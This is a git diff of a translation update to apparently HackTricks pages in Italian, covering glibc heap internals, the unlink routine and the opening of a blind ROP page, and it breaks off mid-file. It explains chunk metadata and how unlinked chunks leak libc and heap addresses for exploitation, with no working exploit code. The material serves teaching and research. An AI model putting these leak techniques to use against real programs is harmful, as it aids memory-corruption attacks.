Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

binary-exploitation/libc-heap/README.md

@@ -1,56 +1,56 @@
-# Heap
+# Libc Heap
 
-## Concetti di Heap
+## Heap Basics
 
-L'heap è essenzialmente il luogo in cui un programma sarà in grado di memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
+L'heap è fondamentalmente il luogo in cui un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
 
-Come mostrato, si trova subito dopo il caricamento del binario in memoria (controlla la sezione `[heap]`):
+Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`):
 
 <figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
 
-### Allocazione di Chunk di Base
+### Basic Chunk Allocation
 
-Quando viene richiesto di memorizzare alcuni dati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin verranno riservati per il chunk. L'obiettivo è riservare solo la memoria minima possibile senza rendere complicato trovare dove si trova ciascun chunk. Per questo, le informazioni sui metadati del chunk vengono utilizzate per sapere dove si trova ciascun chunk utilizzato/libero.
+Quando vengono richiesti dati da memorizzare nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza complicare la ricerca di dove si trova ciascun chunk. A questo scopo, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
 
-Ci sono diversi modi per riservare lo spazio principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
+Ci sono diversi modi per riservare lo spazio, principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
 
 * Il programma inizia richiedendo una certa quantità di memoria.
-* Se nella lista dei chunk c'è qualcuno abbastanza grande da soddisfare la richiesta, verrà utilizzato
-* Questo potrebbe anche significare che parte del chunk disponibile verrà utilizzata per questa richiesta e il resto verrà aggiunto alla lista dei chunk
-* Se non c'è alcun chunk disponibile nella lista ma c'è ancora spazio nella memoria dell'heap allocata, il gestore dell'heap crea un nuovo chunk
-* Se non c'è abbastanza spazio nell'heap per allocare il nuovo chunk, il gestore dell'heap chiede al kernel di espandere la memoria allocata all'heap e quindi utilizza questa memoria per generare il nuovo chunk
+* Se nella lista dei chunk c'è qualcuno disponibile abbastanza grande da soddisfare la richiesta, verrà utilizzato.
+* Questo potrebbe anche significare che parte del chunk disponibile verrà utilizzato per questa richiesta e il resto verrà aggiunto alla lista dei chunk.
+* Se non c'è alcun chunk disponibile nella lista ma c'è ancora spazio nella memoria heap allocata, il gestore dell'heap crea un nuovo chunk.
+* Se non c'è abbastanza spazio nell'heap per allocare il nuovo chunk, il gestore dell'heap chiede al kernel di espandere la memoria allocata all'heap e poi utilizza questa memoria per generare il nuovo chunk.
 * Se tutto fallisce, `malloc` restituisce null.
 
-Nota che se la memoria richiesta supera una soglia, verrà utilizzato **`mmap`** per mappare la memoria richiesta.
+Nota che se la **memoria richiesta supera una soglia**, **`mmap`** verrà utilizzato per mappare la memoria richiesta.
 
-## Aree
+## Arenas
 
-Nelle applicazioni **multithread**, il gestore dell'heap deve prevenire **condizioni di gara** che potrebbero portare a crash. Inizialmente, ciò veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma ciò causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex.
+Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race conditions** che potrebbero portare a crash. Inizialmente, questo veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma questo causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex.
 
-Per affrontare questo problema, l'allocatore dell'heap ptmalloc2 ha introdotto "arene", dove **ogni arena** funge da **heap separato** con le sue **proprie** strutture **dati** e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire l'uno con l'altro, purché utilizzino arene diverse.
+Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "aree", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di **dati** e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino aree diverse.
 
-L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni single-threaded. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena inutilizzata, creandone di nuove se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, i **thread devono condividere le arene**, portando a una potenziale contesa.
+L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **aree secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove aree se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le aree**, portando a potenziali conflitti.
 
-A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheap" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithread.
+A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le aree secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
 
-### Subheap
+### Subheaps
 
-I subheap fungono da riserve di memoria per le arene secondarie nelle applicazioni multithread, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheap differiscono dall'heap iniziale e come operano:
+I subheaps servono come riserve di memoria per le aree secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
 
-1. **Heap Iniziale vs. Subheap**:
+1. **Heap Iniziale vs. Subheaps**:
 * L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
-* I subheap, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
-2. **Riserva di Memoria con `mmap`**:
-* Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riserva non alloca immediatamente memoria; semplicemente designa una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
-* Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e di 64 MB per processi a 64 bit.
+* I subheaps, utilizzati dalle aree secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
+2. **Riservazione di Memoria con `mmap`**:
+* Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
+* Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit.
 3. **Espansione Graduale con `mprotect`**:
 * La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora.
-* Per "far crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare le autorizzazioni delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, spingendo il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio step-by-step consente al subheap di espandersi secondo necessità.
+* Per "crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare i permessi delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, invitando il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio graduale consente al subheap di espandersi secondo necessità.
 * Una volta esaurito l'intero subheap, il gestore dell'heap crea un nuovo subheap per continuare l'allocazione.
 
-### heap_info <a href="#heap_info" id="heap_info"></a>
+### heap\_info <a href="#heap_info" id="heap_info"></a>
 
-Questa struttura alloca le informazioni rilevanti dell'heap. Inoltre, la memoria dell'heap potrebbe non essere continua dopo ulteriori allocazioni, questa struttura memorizzerà anche tali informazioni.
+Questa struct alloca informazioni rilevanti dell'heap. Inoltre, la memoria heap potrebbe non essere continua dopo ulteriori allocazioni, questa struct memorizzerà anche tali informazioni.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
 
@@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
 ```
 ### malloc\_state
 
-**Ogni heap** (arena principale o arene di altri thread) ha una **struttura `malloc_state`.**\
-È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi situata nello spazio di memoria della libc).\
-Nel caso delle **strutture `malloc_state`** degli heap dei thread, sono situate **all'interno del "heap" del thread stesso**.
+**Ogni heap** (arena principale o altre arene dei thread) ha una **struttura `malloc_state`.**\
+È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi si trova nello spazio di memoria della libc).\
+Nel caso delle **strutture `malloc_state`** degli heap dei thread, esse si trovano **all'interno del "heap" del proprio thread**.
 
-Ci sono alcune cose interessanti da notare da questa struttura (vedi codice C sotto):
+Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C qui sotto):
 
-* `__libc_lock_define (, mutex);` Serve per assicurare che questa struttura dell'heap sia accessibile da 1 thread alla volta
+* `__libc_lock_define (, mutex);` È presente per garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta
 * Flags:
 * ```c
 #define NONCONTIGUOUS_BIT     (2U)
@@ -86,11 +86,11 @@ Ci sono alcune cose interessanti da notare da questa struttura (vedi codice C so
 #define set_noncontiguous(M)   ((M)->flags |= NONCONTIGUOUS_BIT)
 #define set_contiguous(M)      ((M)->flags &= ~NONCONTIGUOUS_BIT)
 ```
-* Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **blocchi** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non viene utilizzato)
-* Pertanto, il **primo chunk** di questi blocchi avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi blocchi avrà un **puntatore in avanti** a questa struttura. Ciò significa fondamentalmente che se riesci a **rilevare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
+* Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato)
+* Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
 * Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene
-* Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e ha bisogno di richiedere più spazio.
-* Il chunk `last reminder` proviene dai casi in cui non è disponibile un chunk di dimensioni esatte e quindi viene diviso un chunk più grande, una parte rimanente del puntatore viene posizionata qui.
+* Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio.
+* Il chunk `last reminder` proviene da casi in cui un chunk di dimensioni esatte non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è posizionata qui.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
 
@@ -155,34 +155,34 @@ struct malloc_chunk* bk_nextsize;
 
 typedef struct malloc_chunk* mchunkptr;
 ```
-Come già commentato in precedenza, questi chunk hanno anche alcuni metadati, molto ben rappresentati in questa immagine:
+Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto bene rappresentati in questa immagine:
 
 <figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
-Di solito i metadati sono 0x08B, indicando la dimensione corrente del chunk utilizzando gli ultimi 3 bit per indicare:
+I metadati sono solitamente 0x08B che indicano la dimensione attuale del chunk utilizzando gli ultimi 3 bit per indicare:
 
-* `A`: Se è 1 proviene da un subheap, se è 0 è nell'arena principale
-* `M`: Se è 1, questo chunk fa parte di uno spazio allocato con mmap e non fa parte di un heap
-* `P`: Se è 1, il chunk precedente è in uso
+* `A`: Se 1 proviene da un subheap, se 0 è nell'arena principale
+* `M`: Se 1, questo chunk è parte di uno spazio allocato con mmap e non parte di un heap
+* `P`: Se 1, il chunk precedente è in uso
 
-Successivamente, lo spazio per i dati dell'utente e infine 0x08B per indicare la dimensione del chunk precedente quando il chunk è disponibile (o per memorizzare i dati dell'utente quando è allocato).
+Poi, lo spazio per i dati dell'utente, e infine 0x08B per indicare la dimensione del chunk precedente quando il chunk è disponibile (o per memorizzare i dati dell'utente quando è allocato).
 
-Inoltre, quando disponibili, i dati dell'utente vengono utilizzati per contenere anche alcuni dati:
+Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere anche alcuni dati:
 
-* **`fd`**: Puntatore al prossimo chunk
+* **`fd`**: Puntatore al chunk successivo
 * **`bk`**: Puntatore al chunk precedente
-* **`fd_nextsize`**: Puntatore al primo chunk nella lista più piccolo di se stesso
-* **`bk_nextsize`:** Puntatore al primo chunk nella lista più grande di se stesso
+* **`fd_nextsize`**: Puntatore al primo chunk nella lista che è più piccolo di se stesso
+* **`bk_nextsize`:** Puntatore al primo chunk nella lista che è più grande di se stesso
 
 <figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
 {% hint style="info" %}
-Nota come organizzare la lista in questo modo evita la necessità di avere un array in cui ogni singolo chunk viene registrato.
+Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato.
 {% endhint %}
 
-### Puntatori dei Chunk
+### Puntatori ai Chunk
 
-Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo gli header), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio degli header (metadati).\
+Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\
 Per queste conversioni vengono utilizzate queste funzioni:
 ```c
 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -203,7 +203,7 @@ Per queste conversioni vengono utilizzate queste funzioni:
 ```
 ### Allineamento e dimensione minima
 
-Il puntatore al chunk e `0x0f` devono essere entrambi 0.
+Il puntatore al chunk e `0x0f` devono essere 0.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@@ -258,11 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
 return request2size (req);
 }
 ```
-### Ottenere i dati del Chunk e modificare i metadati
+Nota che per calcolare lo spazio totale necessario viene aggiunto `SIZE_SZ` solo 1 volta perché il campo `prev_size` può essere utilizzato per memorizzare dati, quindi è necessario solo l'intestazione iniziale.
+
+### Ottieni dati del chunk e altera i metadati
 
 Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati:
 
-* Controllare i flag del chunk
+* Controlla i flag del chunk
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 
@@ -325,7 +327,7 @@ people extending or adapting this malloc.
 /* Treat space at ptr + offset as a chunk */
 #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
 ```
-* Iniettare bit
+* Insue bit
 ```c
 /* extract p's inuse bit */
 #define inuse(p)							      \
@@ -349,7 +351,7 @@ people extending or adapting this malloc.
 #define clear_inuse_bit_at_offset(p, s)					      \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
 ```
-* Imposta l'intestazione e il piè di pagina (quando i numeri di chunk sono in uso)
+* Imposta intestazione e piè di pagina (quando i numeri dei chunk sono in uso)
 ```c
 /* Set size at head, without disturbing its use bit */
 #define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -360,7 +362,7 @@ people extending or adapting this malloc.
 /* Set size at footer (only when chunk is not in use) */
 #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
 ```
-* Ottenere la dimensione dei dati effettivamente utilizzabili all'interno del chunk
+* Ottieni la dimensione dei dati realmente utilizzabili all'interno del chunk
 ```c
 #pragma GCC poison mchunk_size
 #pragma GCC poison mchunk_prev_size
@@ -406,13 +408,13 @@ ptr = malloc(0x10);
 strcpy(ptr, "panda");
 }
 ```
-Imposta un breakpoint alla fine della funzione principale e scopriamo dove le informazioni sono state memorizzate:
+Imposta un breakpoint alla fine della funzione principale e scopriamo dove è stata memorizzata l'informazione:
 
 <figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
 
-È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che è l'indirizzo restituito da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è in uso** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`.
+È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che era l'indirizzo fornito come risposta da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è utilizzato** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`.
 
-Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che sono stati riservati 0x21 byte ma gli ultimi 3 bit della lunghezza dell'header corrente hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata su 16 byte (nelle macchine a 64 bit), questi bit non verranno mai utilizzati dal numero di lunghezza.
+Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale intestazione hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza.
 ```
 0x1:     Previous in Use     - Specifies that the chunk before it in memory is in use
 0x2:     Is MMAPPED          - Specifies that the chunk was obtained with mmap()
@@ -468,33 +470,33 @@ return 0;
 
 Debuggando l'esempio precedente è possibile vedere come all'inizio ci sia solo 1 arena:
 
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata una nuova arena:
 
-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-e al suo interno è possibile trovare alcuni chunk:
+e al suo interno si possono trovare alcuni chunk:
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
-## Bins & Assegnazioni/Liberazioni di Memoria
+## Bins & Memory Allocations/Frees
 
-Controlla quali sono i bins e come sono organizzati e come la memoria viene assegnata e liberata in:
+Controlla quali sono i bins e come sono organizzati e come la memoria viene allocata e liberata in:
 
 {% content-ref url="bins-and-memory-allocations.md" %}
 [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
 {% endcontent-ref %}
 
-## Controlli di Sicurezza delle Funzioni di Heap
+## Heap Functions Security Checks
 
-Le funzioni coinvolte nell'heap eseguiranno determinati controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto:
+Le funzioni coinvolte nell'heap eseguiranno alcuni controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto:
 
 {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
 [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
 {% endcontent-ref %}
 
-## Riferimenti
+## References
 
 * [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
 * [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -1,16 +1,16 @@
 # unlink
 
 {% hint style="success" %}
-Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Sostieni HackTricks</summary>
+<summary>Supporta HackTricks</summary>
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}
@@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
 ```
 ### Spiegazione Grafica
 
-Controlla questa ottima spiegazione grafica del processo di unlink:
+Controlla questa ottima spiegazione grafica del processo unlink:
 
-<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
 
 ### Controlli di Sicurezza
 
-* Controlla se la dimensione indicata del chunk è la stessa di `prev_size` indicata nel chunk successivo
+* Controlla se la dimensione indicata del chunk è la stessa del prev\_size indicato nel chunk successivo
 * Controlla anche che `P->fd->bk == P` e `P->bk->fw == P`
 * Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
 
 ### Leak
 
-Un chunk unlinkato non pulisce gli indirizzi allocati, quindi avendo accesso a leggerlo, è possibile fare leak di alcuni indirizzi interessanti:
+Un chunk non collegato non pulisce gli indirizzi allocati, quindi avendo accesso a rad, è possibile leak alcuni indirizzi interessanti:
 
-Leak di Libc:
+Libc Leaks:
 
-* Se P è situato all'inizio della lista doppiamente concatenata, `bk` punterà a `malloc_state` in libc
-* Se P è situato alla fine della lista doppiamente concatenata, `fd` punterà a `malloc_state` in libc
-* Quando la lista doppiamente concatenata contiene solo un chunk libero, P è nella lista doppiamente concatenata, e sia `fd` che `bk` possono fare leak dell'indirizzo all'interno di `malloc_state`.
+* Se P si trova nella testa della lista doppiamente collegata, `bk` punterà a `malloc_state` in libc
+* Se P si trova alla fine della lista doppiamente collegata, `fd` punterà a `malloc_state` in libc
+* Quando la lista doppiamente collegata contiene solo un chunk libero, P è nella lista doppiamente collegata, e sia `fd` che `bk` possono leak l'indirizzo all'interno di `malloc_state`.
 
-Leak di Heap:
+Heap leaks:
 
-* Se P è situato all'inizio della lista doppiamente concatenata, `fd` punterà a un chunk disponibile nell'heap
-* Se P è situato alla fine della lista doppiamente concatenata, `bk` punterà a un chunk disponibile nell'heap
-* Se P è nella lista doppiamente concatenata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap
+* Se P si trova nella testa della lista doppiamente collegata, `fd` punterà a un chunk disponibile nell'heap
+* Se P si trova alla fine della lista doppiamente collegata, `bk` punterà a un chunk disponibile nell'heap
+* Se P è nella lista doppiamente collegata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -1,70 +1,70 @@
 # BROP - Blind Return Oriented Programming
 
 {% hint style="success" %}
-Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Sostieni HackTricks</summary>
+<summary>Supporta HackTricks</summary>
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
 
 </details>
 {% endhint %}
 
-## Informazioni di Base
+## Informazioni di base
 
-Lo scopo di questo attacco è quello di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
